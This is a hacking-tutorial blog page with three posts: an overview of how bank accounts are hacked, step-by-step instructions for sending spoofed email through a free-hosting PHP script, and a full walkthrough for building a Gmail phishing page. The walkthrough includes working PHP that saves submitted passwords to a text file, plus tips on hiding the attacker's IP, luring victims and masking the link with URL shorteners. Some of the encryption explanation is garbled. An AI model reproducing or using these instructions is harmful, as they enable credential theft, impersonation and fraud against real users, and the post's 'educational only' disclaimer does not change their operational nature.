Showing posts with label Phishing. Show all posts
Showing posts with label Phishing. Show all posts

20/11/2014

How Hackers Hack Bank Accounts and Personal Information

Most people learning hacking always have a keen interest in knowing that how they can hack bank accounts of other people. But most of them find it pity much difficult such that now they have made a perception that bank account information like credit cards or debit cards or net banking passwords cannot be hacked. Its truth to an extent that hacking Banking account information and credit or debit cards passwords is most difficult and almost impossible part. Today i will discuss with you why hacking bank account information is tough and always considered as impossible task. We will also discuss the different methods that hackers use to hack bank account information nowadays.
Recommend Post What Is Keylogger And How To Be Safe From Keyloggers

I am quite sure that almost everybody using internet nowadays uses that internet to pay online bills, book reservation tickets, purchase online things or simply transfer money i.e. involved in at least some kind of online transaction that is related to money i.e. banking information, credit or debit card payments or simply Net banking. Most of banks uses SSL (Secured Sockets Layer) connection and at least 128 or 256 bit encryption for online banking and transaction purposes. Also now an extra layer of security is introduced that is called transaction PIN layer means for each and every online transaction you have to enter your passwords and during transaction you have to enter PIN (a type of password that varies 4 to 8 chars in length). Thus bank do alot of work to protect your secret information and credentials from the eyes of the world that may wish to gain access to your such a vital information.
Below example will illustrate you how powerful the encryption method is:
* . 40 bit encryption, means there are 2^40 possible keys that could fit into the lock that holds your account information. That means there are many billions of possible keys that means brute forcing such thing is imposable. Only thing now left is dictionary and rainbow attack. But its not only the security measure that banks used to secure there information. Also its only 40 bit encryption.
* . 128 bit encryption means there are 2^88 times as many as key combinations that are being possible for 40 bit encryption. That means a computer would require exponentially more processing power and time than for 40-bit encryption to find the correct key. That's a very powerful method of encrypting data sent from your machine to bank machine. But unfortunately it's all is useless to you once your system has been compromised or hacked. Now How these all security Encryption can be bypassed and your system can be compromised online. There are several methods for exploiting and bypassing such account information Some of them are:
1. Phishing
Read Also How to create fake or Phishing web page for Gmail
2. Trojans
3. Session Hijacking
Warning: This blog contains materials that can be potentially damaging or dangerous. If you are looking to comment a crime, you must leave this site now! Refer to the laws in your province/country before accessing, using, or in any other way utilizing these materials. These materials are for educational, public awareness and research purposes only. Do not attempt to violate the law with anything contained here. If this is your intention, then LEAVE NOW! Neither administration of this blog nor the author(s) of this material, or anyone else affiliated in any way, is going to accept responsibility for your actions.
We http://deadlyuniversityspy.blogspot.com/ are providing a lot of hacking tutorials, methods to crack passwords and other similar stuffs in order to develop hackers attitude to learn self defence from Computer Criminals attack and to detect the ways in which hackers can infiltrate your system.
Love this article?
Share it with your friends on Facebook

07/11/2014

How to Send Spoofed Emails Anonymously


Most of us are very curious to know a method to send spoofed emails to our friends and family for fun. But the question is, is it possible to send spoofed emails in spite of the advanced spam filtering technology adopted by email service provides like Gmail, Yahoo etc? The answer is YES, it is still possible to bypass their spam filters and send spoofed emails anonymously to your friends or family members. For example, you can send an email to your friend with the following sender details.
From: Bill Gates
The art of sending this kind of email is known as Email Spoofing. One of the easy way to send a spoofed email is by using our own local SMTP server. In the past, I have tried SMTP servers like QK SMTP server. This method used to work successfully in those days, but as of now, it has a very low success rate since Gmail and Yahoo (all major email service providers) blocks the emails that are sent directly from a home computer.

How to Send Spoofed Emails
In this post, I have come up with a new method of sending spoofed emails to anyone without having to worry about being blocked or filtered as spam. In order to accomplish this, all you’ve to do is use a “relay server” while sending the spoofed emails.

What is a Relay Server
In simple words, a relay server is an SMTP Server that is trusted by major companies as an authorized sender of the email. So, when you send an email using a relay server, the email service providers like Yahoo and Gmail blindly accept the emails and deliver it to the inbox of the recipient. If the SMTP server is not authorized, Google and Yahoo will reject all the emails sent from this SMTP server. This is the reason for which using our own SMTP server to send emails fail.

How to Find a Relay Server
Now, all we have to do is find a trusted SMTP server so as to send spoofed emails successfully. Usually, all the emails that are sent from web hosting providers are trusted and authorized. So, you have to find a free web hosting provider that allows you to send emails. But, most of the free web hosts disable the Mail feature and do not allow the users to send emails. This is done just to avoid spamming. However, all the paid hosting plans allow you to send any number of emails. Once you find a hosting service that allows to send emails from their servers, it’s just a cake walk to send anonymous emails. All we have to do is just modify the email header to insert a fake From: address field into it. there is a PHP script that allows you to send emails from any name and email address of your choice. Here is a step-by-step procedure to setup your own anonymous email sender script:
1. Go to X10 Hosting and register a new account.
2. Download the script from the below link:
Download Anonymous Email Sender Script
3. Login to your Free Web Hosting Area Account and click on File Manager.
4. Upload the sendmail.php, pngimg.php and bg1.PNG files to the server.
5. Set permissions for sendmail.php, pngimg.php and bg1.PNG to 777
6. Now type the following URL:
http://yoursite.x10hosting.com/sendmail.php
7. Use the script to send spoofed emails anonymously to your friends and have fun.
Love this article?
Share it with your friends on Facebook

30/08/2014

How to create fake or Phishing web page for Gmail


This post will explain you how to create fake or phishing web page for Gmail This Procedure can be used to make fake page for other websites like yahoo MSN or any other sites which you want to steal the password of particular user.

Steps for Creating Phishing or Fake web Page
Read Also Phishing and it's  defenses
Step 1. Go to the Gmail Save the Page as complet HTML
Step 2. Once you save the login page completely, you will see a HTML file and a folder with the name something like Email from Google files There will be two image files namely google_transparent.gif and mail_logo.png
Step 3. Upload those image to TinyPic or Photobucket copy the url of each image.
Step4. Open the HTML file in Wordpad and Search for google_transparent.gif and replace it with corresponding url. Now search for mail_logo.png and replace it with corresponding url.
Step 5. Search for the
action="https://www.google.com/accounts/ServiceLoginAuth
and replace it with action="http://yoursiteurlhere/login.php save the file.
Step 6. Now you need to create login.php so you need to open the notepad and type or copy the below codes:
<form action="/html/tags/html_form_tag_action.cfm" method="post">
<?php header("Location: https://www.google.com/accounts/ServiceLoginAuth ");
$handle =
fopen("pswrds.txt", "a"); foreach($_POST as
$variable => $value) {
fwrite($handle, $variable); fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n"); fclose($handle);
exit;
?>
Step 7. Open the notepad and just save the file as pswrds.txt without any contents.
Now upload those three files namely index.html login.php pswrds.txt in any of subdomain Web hosting site.
Note: Use one of these sites: 007sites Web Hosting
Just Free Website
110mb Free Web Hosting
Use these sites through the secure connection sites so that you can hide IP Address like: This Website or find more site for best secure connection.
Step 8. Create an email with Gmail keyword
Step 9. Send to victim similar to gmail starts new feature to use this service log in to this page from that Gmail ID with link to your Phishing Web Page
Note: For user to believe change Your phishing web page url with any of free shortened url sites. This will make users to believe that it is correct url.
Love this article?
Share it with your friends on Facebook